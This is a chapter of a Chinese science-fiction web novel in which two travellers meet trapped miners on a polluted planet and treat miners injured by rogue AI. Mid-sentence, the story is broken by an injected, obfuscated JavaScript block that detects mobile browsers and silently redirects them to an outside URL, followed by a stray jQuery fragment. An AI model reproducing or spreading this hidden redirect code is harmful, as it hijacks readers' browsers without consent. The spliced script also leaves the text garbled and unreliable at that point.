被邬婵吓得发抖的那人看见老人像看到救星一样,拼命咕蛹,嘴里不停叫嚷着老锈钉救命。
老人无视了他,径直走上前来。
“二位手下留情。”老人声音沙哑,“都是手底下的人不懂事,冒犯了二位,还望二位见谅。”
贺明澍眼尾勾起笑,“谈不上冒犯,就是只怕我俩反应慢点就要死在这了。”
老人话被噎住,表情一僵,狠狠瞪了眼地上被捆的两人。
胆小的反应很快,一个劲儿地道歉。
疤脸依旧不服,梗着脖子誓不低头。
见状,老人给了疤脸一脚,力道大得疤脸在地上滚了一圈。
“这小兔崽子犟得很,老身在这里替他向二位道歉。”
老锈钉说着,弯下腰。
见二人不买账,老人浑浊的眼睛微动,继续道:
“为表诚意,我们愿意赔偿,您看您二位需要什么?食物,工具,或是……防护服滤芯?”
邬婵眉头一挑,贺明澍饶有兴致。
“但事发突然,东西都在住所里,可能要麻烦二位随老身走一趟。”
邬婵没吭声。
贺明澍笑道:“不麻烦,那两人压这儿,您再跑一趟就是了。”
老锈钉一愣,看了看邬婵,随即向后伸手。
她身后的年轻人立即上前,“去取来。”
年轻人诧异地抬眼,“老锈钉……”
老锈钉只挥挥手,“去吧。”
邬婵目送那个年轻人离去,那个方向……
“老锈钉?”她开口。
老人看向她,笑说,“都是些混称罢了。”
“那是什么地方?”
老锈钉顺着邬婵的目光看去,是一栋破败的大型环状建筑,像一只蛰伏在黑暗中的巨兽。
“那是蚀日公司的总部,”她顿了顿,“也是我们现在住的地方。”
“蚀日公司?”贺明澍没听过这个名字。
老锈钉点头,目光仿佛穿透浓厚的烟雾,直抵那个曾经的辉煌蚀日。
“我们脚下的这颗星球本就是颗矿星,蚀日公司就是这颗矿星的拥有者。”
“那你们……”
“带我们过去吧。”
“啊?”
贺明澍的话被截断,他探究地看向身边人。
老锈钉还未从怔愣中缓过神来。
邬婵一脸平静,将话重复了一遍。
“好,这边走。”
贺明澍看着毫不犹豫跟人走的邬婵,神色复杂。
他有时真是不懂她的心,说变就变。
“星辰之泪……找到它……”
贺明澍顿住。
苍老的声音更清晰了。
一路上,两人了解了老锈钉等人的身世。
她们是静默降临时未能离开的矿民的后代,被困在这里长达百年。
起初,留困在这儿的有三千人。
但星球环境每况愈下,内部纷争不断,人数骤降。
到现在,只剩下39人。
老锈钉说到此处,眼眶含泪看向虚空某处。
那里埋葬着她死去的同胞、亲人、伙伴……
哪怕偶有怨怼,也不舍得她/他的离去。
但苟活在这样的星球上,有时死亡反而是解脱。
“罢了罢了,人终是有一死的。”
老锈钉自嘲摇头。
邬婵二人只默默听着,没有打断她。
“你们是不是觉得我很奇怪,对着你们两个陌生人说这么多?”
“若是你们知道,你们二位是这一百多年来唯一的到访者,就不会感到奇怪了。”
邬婵沉吟片刻,“这颗星球,在磁场湍流里。”
老锈钉一愣,旋即反应过来她的意思。
她苦笑,“原来如此,原来如此……”
她们祖祖辈辈都没放弃向外传递消息,从来没有得到过回应。
她们想过无数可能,却没想过,求救的消息从未出去过。
住所里的人听到老锈钉的苦笑声,纷纷探出头。
那个年轻人抱着“赔偿”正跨出门,就与回来的三人迎面撞上。
“老锈钉你回来了!”他惊喜道。
邬婵站在门口,说是门口,其实是用废料金属搭建的出入口。
头盔里的HUD红灯重新闪烁,信号增强。
她回头,看向左侧堆积如山的废料堆。
在熔炉河道处,若没有能量湍流区,她就能直达此处。
“是能量湍流区?”贺明澍问道。
贺明澍竟懂她在想什么。
邬婵意外地看了他一眼。
贺明澍嘴角一弯,“怎么样?我跟你还算默契吧。”
邬婵没理,他也不恼,笑着跟上。
两人进入后,厚重的铁门关上。
“这是为了隔离烟尘。”年轻人怕两人多心,解释道,“这里面是不用穿防护服的,请跟我来。”
入口处是一片莫约三十平米的区域,分区摆放着脱下的防护服和不小心带进的废料。
此时这里站着七个没穿防护服的矿民,看上去像在等老锈钉。
邬婵在检测仪结果显示无误后,冲贺明澍点头。
“防护服我们要自己拿着。”脱下后,邬婵道。
老锈钉没意见,倒是她身旁一个身材壮实的男人眉头紧皱,眼神不善。
“两位客人远道而来,这边请。”老锈钉作邀请状。
矿民的住所看着像蚀日公司的员工公寓,三栋楼呈“品”字排列,楼与楼之间有连廊连接。
左侧一号楼晾有衣物,二号楼处于正中,三号楼被分成两半,一边是医务室,另一边是厨房。
房屋虽破败,破损的门窗都用废弃钢板和防水布封住,还算完整。
邬婵和贺明澍走在下面,感受到从四面八方传来的目光。
好奇的、打量的、怀疑的、猜忌的……
这里的人在观察她们二人,邬婵与贺明澍也在打量她们。
这里基本都是老弱妇孺,年富力强的青年很少。
仅有的几个还躺在病床上呻吟。
邬婵扫一眼,发现竟是被利刃所伤。
贺明澍问道:“他们为何受的是刀伤?”
难不成这里还有其他危险?
老锈钉停下脚步,面露不忍。
“我们平日的物资都需要靠人力进到蚀日中层,在那里的生产线上拆解尚能用的零件。
生活用水也需要去到里面,在废弃管道里收集。
但那里面危险重重。”
邬婵不解问道:“那里面有什么?比外面的毒气、熔岩还可怕?”
“有发疯的AI!就是那些东西小林哥他们才会受伤!但我们又没有药……”
身旁的年轻人气愤,说着恨不得冲进去找AI打一架。
“林火花,不许冲动!”老锈钉的拐杖在地上重重一敲,年轻人的气焰立即消失。
疯AI。邬婵沉思,蚀日是顶尖的能源科技公司,任用AI并不奇怪。
这也认证了赵寻澜消息的准确性,那颗维持蚀日运转的能源核心一定还在这儿。
但能让矿民如此忌惮,并冠以“疯”字,怕是不好对付。
看来,想要深入,免不了要麻烦这些矿民了。
“让我看看吧,我是药师。”邬婵淡声道。
此话一出,全场寂静。
“当真?!你真的愿意救他们吗?”
老锈钉激动的声音格外明显。
贺明澍轻瞥了邬婵一眼,看来她是想进去看看了。
他接过邬婵的防护服,没有预设的手直直向下坠,整个身子都在前倾。
好在他反应快,稳住了,才没有把东西掉地上。
就是别人看着有些莫名其妙而已。
贺明澍再次看了邬婵一眼,眼睛里颇为震惊。
他想起昨天处理伤口时看到的邬婵肩膀,红肿发紫的肩膀,还有磕肿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276895|198292||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小腿。
这防护服起码有十二公斤,以邬婵那受着伤的小身板,她居然扛着十二公斤的防护服,外加1.5L的水和一斤重的脉冲枪,走了这么久。
她到底在防护服里装了什么?是把全部家当都装进去了吗?
贺明澍现在刷新了对邬婵的认知。
在这之前他脑中的邬婵不苟言笑、冷静、淡漠、还很能忍。
现在多了一条,大力士。
他以前还是小看她了。
余光中,邬婵的手伸来,贺明澍慢半拍,只觉得她的手上布满伤痕,她以前经历过什么?
“剪刀。”半天得不到回应的邬婵不耐道。
贺明澍如梦初醒,连忙递上。
接下来,他知道邬婵的防护服里装啥了。
“腰侧两格,手套、镊子、手术刀、缝合针线。”
“右腰一格,绷带卷、止血粉、消毒面片。”
……
邬婵的防护服像一个百宝箱,贺明澍一直在往外掏东西。
“胸前四格,止血凝胶、镇痛剂、抗生素。”
听到前面还好,到镇痛剂时他犹豫了。
“镇痛剂也需要吗?”
邬婵手伸着,没说话。
贺明澍深呼吸,把镇痛剂放上去。
那他缝合两次都没有用算什么?
邬婵感受到左手上的力道,只淡淡瞥了贺明澍一眼。
贺明澍别开眼,没再说话。
处理完三个伤员,邬婵的额头上直冒细汗,脑袋发胀。
身体也酸痛不已,尤其是右肩。
她不适地动了动。
突然,一双手搭上她的肩膀,将她按在椅子上。
邬婵下意识反抗,没摆脱掉。
“别动,药师小姐。”贺明澍的气息喷洒在后颈,有点痒,“你治好了别人的伤,那你的呢?”
邬婵一愣,肩膀上的力道轻柔,酸痛感在慢慢缓解。
一直守在房外的矿民们听到声音,不知是否结束了,怕打扰到邬婵不敢进。
沉不住气的林火花率先冲了进来,看到亲人的伤被处理得一丝不苟,高兴得快飞起来。
“老锈钉!妈!爸!你们快来看,小林叔他们的脸色好起来了!”
听到林火花的话,外面的人总算松了口气。
三个伤员都是很重的外伤,因为无法处理伤口发炎溃烂,发了高烧,若是没有邬婵,三个人离死不远了。
老锈钉进来道谢。
“药师大人,若您有任何我们可以效劳的,您尽管开口,我们无有不从。”
邬婵拂开贺明澍的手起身,眼睛清凌。
“我的飞船破损,我要进核心区看看有没有能修补的材料,还请你派个人带路。”
老锈钉闻言面露难色,“药师大人,您是知道的,小林他们三个就是进中层区伤的,核心区的AI只怕更加疯魔,您确定要进去吗?”
邬婵态度坚决。
老锈钉的对话对象从始至终都是邬婵,甚至没有看过贺明澍一眼。
她清楚知道这两人中谁才是裁决者。
“既然您去意已决,还请容我们商量一下。今晚二位就在这里将就下,我让小火花先带二位稍事歇息,这边请。”
林火花领着两人进了对面一号楼第四层。
房间干净整洁,摆放着一张一米五的床。
靠近房门的窗边有一张木桌和木椅,是这里难得的东西。
林火花不好意思地挠挠脑袋,“我们物资有限,二位将就一下。”
说完,便自觉退出并关上房门。
贺明澍一手拎着一套防护服,“我们住一间吗?”
邬婵看着他,像是在说你还想住几间。
在静默时代求生的人,早已不追求舒适合适了,只求能活。
贺明澍认栽,放下防护服压低声音:
“六七楼的人有敌意。”
“嗯,三四楼没有。”邬婵眼睛微眯,道。